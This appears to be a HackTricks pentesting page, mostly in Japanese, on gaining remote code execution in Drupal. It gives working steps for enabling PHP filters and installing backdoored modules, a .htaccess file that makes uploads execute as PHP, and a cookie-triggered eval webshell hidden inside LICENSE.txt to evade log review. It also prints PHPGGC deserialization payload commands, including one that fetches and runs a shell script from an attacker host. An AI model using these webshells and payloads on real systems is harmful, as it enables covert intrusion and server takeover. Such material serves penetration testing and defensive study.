Drupal RCE

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

PHP Filter Module を使用

Warning

Drupal の古いバージョン (before version 8) では、管理者としてログインして PHP filter module を有効化 することができ、これにより「埋め込まれた PHP コード/スニペットが評価される」ようになっていました。しかし version 8 以降、このモジュールはデフォルトでインストールされていません。

  1. /modules/php にアクセスし、403 エラーが返された場合は PHP filter plugin がインストールされているため続行できます
  2. もしそうでなければ、Modules に移動して PHP Filter のチェックボックスにチェックを入れ、Save configuration をクリックします
  3. その後、これを悪用するには Add content をクリックし、Basic Page または Article を選択して PHP backdoor を記述し、Text format で PHP コードを選択し、最後に Preview を選択します
  4. トリガーするには、作成したノードにアクセスするだけです:
curl http://drupal.local/node/3

PHP Filter モジュールをインストール

Warning

現在のバージョンでは、デフォルトのインストール後にウェブ経由からのみのアクセスでプラグインをインストールすることはもはや不可能です。

バージョン 8以降、 PHP Filter モジュールはデフォルトでインストールされていません。この機能を利用するには、モジュールを自分でインストールする必要があります。

  1. Drupal のウェブサイトからモジュールの最新版をダウンロードする。
  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  3. ダウンロードしたら、Administration > Reports > Available updates に移動する。
  4. Browse をクリックし、ダウンロードしたディレクトリからファイルを選択して Install をクリックする。
  5. モジュールがインストールされたら、Content をクリックして、Drupal 7 の例と同様に 新しい basic page を作成 できる。再度、Text format ドロップダウンから PHP code を選択することを忘れないでください。

Backdoored Module

Warning

現在のバージョンでは、デフォルトのインストール後にウェブ経由からのみのアクセスでプラグインをインストールすることはもはや不可能です。

モジュールをダウンロードし、モジュールバックドアを追加してインストールすることが可能でした。例えば、圧縮形式で Trurnstile モジュールをダウンロードし、その中に新しい PHP バックドアファイルを作成し、.htaccess ファイルでその PHP ファイルへのアクセスを許可する、という手順です:

<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>

そして、http://drupal.local/admin/modules/install に移動して backdoored module をインストールし、/modules/turnstile/back.php にアクセスして実行します。

Configuration synchronization を使った Drupal のバックドア化

投稿者: Coiffeur0x90

Part 1 (MediaMedia Library の有効化)

Extend メニュー (/admin/modules) では、既にインストールされているように見えるプラグインを有効化できます。デフォルトではプラグイン MediaMedia Library は有効化されていないので、有効化します。

Before activation:

After activation:

Part 2 (Configuration synchronization 機能の利用)

Configuration synchronization 機能を利用して、Drupal の設定エントリをダンプ(export)およびアップロード(import)します:

  • /admin/config/development/configuration/single/export
  • /admin/config/development/configuration/single/import

system.file.yml をパッチする

まず最初のエントリ allow_insecure_uploads を次のようにパッチします:

File: system.file.yml


...

allow_insecure_uploads: false

...

宛先:

ファイル: system.file.yml


...

allow_insecure_uploads: true

...

field.field.media.document.field_media_document.yml をパッチする

次に、2番目のエントリ file_extensions を次のようにパッチします:

ファイル: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

宛先:

ファイル: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

このブログ投稿では使いませんが、file_directory エントリを任意に定義でき、path traversal attack に対して脆弱である(つまり Drupal のファイルシステムツリー内を上へ遡ることができる)と記されています。

パート 3(機能 Add Document を活用)

最後のステップは最も簡単で、2つのサブステップに分かれます。1つ目は .htaccess 形式のファイルをアップロードして Apache directives を利用し、.txt ファイルを PHP engine によって解釈させられるようにすることです。2つ目は payload を含む .txt ファイルをアップロードすることです。

File: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

このトリックがクールな理由は?

Webshell(ここでは LICENSE.txt と呼ぶ)がWebサーバに配置されると、$_COOKIE 経由でコマンドを送信でき、Webサーバのログ上ではテキストファイルへの正規の GET リクエストとして記録されるからです。

なぜ Webshell を LICENSE.txt と名付けるのか?

単純に、例えば core/LICENSE.txt(既に Drupal core に含まれている)を見ると、339 行・17.6 KB のファイルであり、ファイルが十分に大きいため中央に小さな PHP スニペットを追加するのに最適だからです。

ファイル: Patched LICENSE.txt


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Part 3.1 (upload file .htaccess)

まず、Add Document (/media/add/document) 機能を利用して、Apache ディレクティブを含むファイル(.htaccess)をアップロードします。

Part 3.2 (upload file LICENSE.txt)

次に、再度 Add Document (/media/add/document) 機能を利用して、ライセンスファイル内に隠した Webshell をアップロードします。

Part 4 (interaction with the Webshell)

最後の部分は Webshell とのやり取りです。

以下のスクリーンショットが示すように、Webブラウザで当該ファイルを参照した際に、Webshell が期待する cookie が定義されていないと、次のような結果になります。

攻撃者が cookie を設定すると、Webshell と対話して任意のコマンドを実行できます。

ログを見てもわかるように、要求されているのは単なる txt ファイルのように見えます。

この記事をお読みいただきありがとうございました。いくつかのシェル取得の助けになれば幸いです。

Drupal core gadget chain (SA-CORE-2024-007 / SA-CORE-2024-008)

Two advisories published 20 Nov 2024 (CVE-2024-55637 & CVE-2024-55638) describe new PHP object gadget chains in Drupal core (7.0–7.101, 8.x, 10.2.0–10.2.10, 10.3.0–10.3.8, early 11.x). They are not directly exploitable but give attackers a ready-made chain once any contrib/module performs unserialize() on user input.

Practical exploitation workflow:

  1. Find the unserialize sink (contrib module or custom code). Grep codebase for unserialize( or Drupal\Component\Serialization\PhpSerialize::decode. Target endpoints that accept POST/JSON or configuration imports.
  2. Generate a payload using the vulnerable class path that matches the gadget chain. After SA-CORE-2024-008, the public chain was added to common payload generators. Example with PHPGGC (commit ≥ Dec 2024):
./phpggc drupal/rce2 system 'id' > payload.ser
  1. Deliver the serialized blob を sink(例:deserialized される parameter)に送る。form-encoded body の場合:
curl -X POST https://target/admin/config/some/module \
-d "serialized_setting=$(cat payload.ser)"
  1. Trigger destruction(しばしばリクエスト終了時に自動)してコマンドを実行する。

テストの注意事項:

  • Gadget は 10.2.11 / 10.3.9 / 7.102 より前 のバージョンでのみ動作します(パッチ済み)。ターゲットのバージョンは /core/lib/Drupal.php または CHANGELOG.txt で確認してください。
  • サードパーティの DB ドライバは追加の強化が必要な場合があります。セキュリティ更新の適用期間を逃した導入を探してください。

最近の contrib-module unsafe deserialization → RCE

複数の contrib module が 2024年後半に insecure unserialize() パスを修正しました。サイトがこれらの更新を適用していない場合、core gadget chain に必要な exploitable sink を提供します:

  • Mailjet (<4.0.1, CVE-2024-13296): 管理者が制御するデータが unserialize() に渡され、core gadgets と連鎖すると PHP Object Injection → RCE を可能にします。
  • Eloqua (7.x-1.x < 1.15, CVE-2024-13297): access administration pages 権限を持つユーザから到達可能な同様の unsafe unserialize() の使用。

テスト案(認証済み):

phpggc drupal/rce2 system 'bash -c "curl http://attacker/shell.sh|sh"' > p.ser
curl -b session=ADMINCOOKIE \
-F "import=@p.ser" https://target/admin/config/eloqua/import

モジュールがアップロードされたデータをデシリアライズする場合、gadget chainによりRCEが発生します。XSS/CSRFと組み合わせて管理者のクッキーを盗めば、完全な攻撃チェーンになります。

参考

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする